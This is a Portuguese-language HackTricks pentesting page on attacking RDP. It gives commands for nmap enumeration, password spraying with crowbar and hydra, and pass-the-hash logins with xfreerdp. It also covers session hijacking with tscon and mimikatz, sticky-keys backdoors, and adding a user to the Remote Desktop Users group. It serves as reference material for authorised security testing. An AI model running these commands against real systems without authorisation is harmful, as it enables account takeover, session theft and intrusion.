hacktricks/network-services-pentesting/pentesting-rdp.md

9.7 KiB

3389 - Pentesting RDP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference é um evento internacional de cibersegurança com mais de uma década de existência que ocorrerá nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de alto conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atrai hackers e pesquisadores de todo o mundo.
Registre-se agora no seguinte link e não perca esta grande conferência!:

{% embed url="https://www.dragonjarcon.org/" %}

Informações Básicas

Remote Desktop Protocol (RDP) é um protocolo proprietário desenvolvido pela Microsoft, que fornece a um usuário uma interface gráfica para se conectar a outro computador através de uma conexão de rede. O usuário utiliza o software cliente RDP para esse fim, enquanto o outro computador deve executar o software servidor RDP (de aqui).

Porta padrão: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeração

Automática

{% code overflow="wrap" %}

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

{% endcode %}

Ele verifica as criptografias disponíveis e a vulnerabilidade a DoS (sem causar DoS ao serviço) e obtém informações do NTLM Windows (versões).

Força Bruta

Tenha cuidado, você pode bloquear contas

Password Spraying

Tenha cuidado, você pode bloquear contas

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Conectar com credenciais/hash conhecidos

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Verificar credenciais conhecidas em serviços RDP

rdp_check.py do impacket permite verificar se algumas credenciais são válidas para um serviço RDP:

rdp_check <domain>/<name>:<password>@<IP>

Ataques

Roubo de sessão

Com permissões de SYSTEM, você pode acessar qualquer sessão RDP aberta por qualquer usuário sem a necessidade de conhecer a senha do proprietário.

Obter sessões abertas:

query user

Acesso à sessão selecionada

tscon <ID> /dest:<SESSIONNAME>

Agora você estará dentro da sessão RDP selecionada e poderá se passar por um usuário usando apenas ferramentas e recursos do Windows.

Importante: Quando você acessa sessões RDP ativas, você expulsará o usuário que estava utilizando-a.

Você poderia obter senhas do processo despejando-as, mas este método é muito mais rápido e permite interagir com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem terem sido salvas no disco, outras sessões RDP abertas em outras máquinas...)

Mimikatz

Você também poderia usar o mimikatz para fazer isso:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Combinando esta técnica com stickykeys ou utilman você poderá acessar um CMD administrativo e qualquer sessão RDP a qualquer momento

Você pode procurar RDPs que já foram comprometidos com uma dessas técnicas em: https://github.com/linuz/Sticky-Keys-Slayer

Injeção de Processo RDP

Se alguém de um domínio diferente ou com privilégios melhores fizer login via RDP no PC onde você é um Admin, você pode injetar seu beacon no processo da sessão RDP dele e agir como ele:

{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}

Adicionando Usuário ao grupo RDP

net localgroup "Remote Desktop Users" UserLoginName /add

Ferramentas Automáticas

AutoRDPwn é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque Shadow em computadores Microsoft Windows. Essa vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto veja a área de trabalho de sua vítima sem o seu consentimento e até a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.

  • EvilRDP
  • Controlar mouse e teclado de forma automatizada a partir da linha de comando
  • Controlar a área de transferência de forma automatizada a partir da linha de comando
  • Criar um proxy SOCKS no cliente que canaliza a comunicação de rede para o alvo via RDP
  • Executar comandos SHELL e PowerShell arbitrários no alvo sem fazer upload de arquivos
  • Fazer upload e download de arquivos para/de o alvo mesmo quando as transferências de arquivos estão desativadas no alvo

Comandos Automáticos HackTricks

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

DragonJAR Security Conference é um evento internacional de cibersegurança com mais de uma década de existência, que ocorrerá nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento com grande conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol, atraindo hackers e pesquisadores de todo o mundo.
Registre-se agora no seguinte link e não perca esta grande conferência!:

{% embed url="https://www.dragonjarcon.org/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥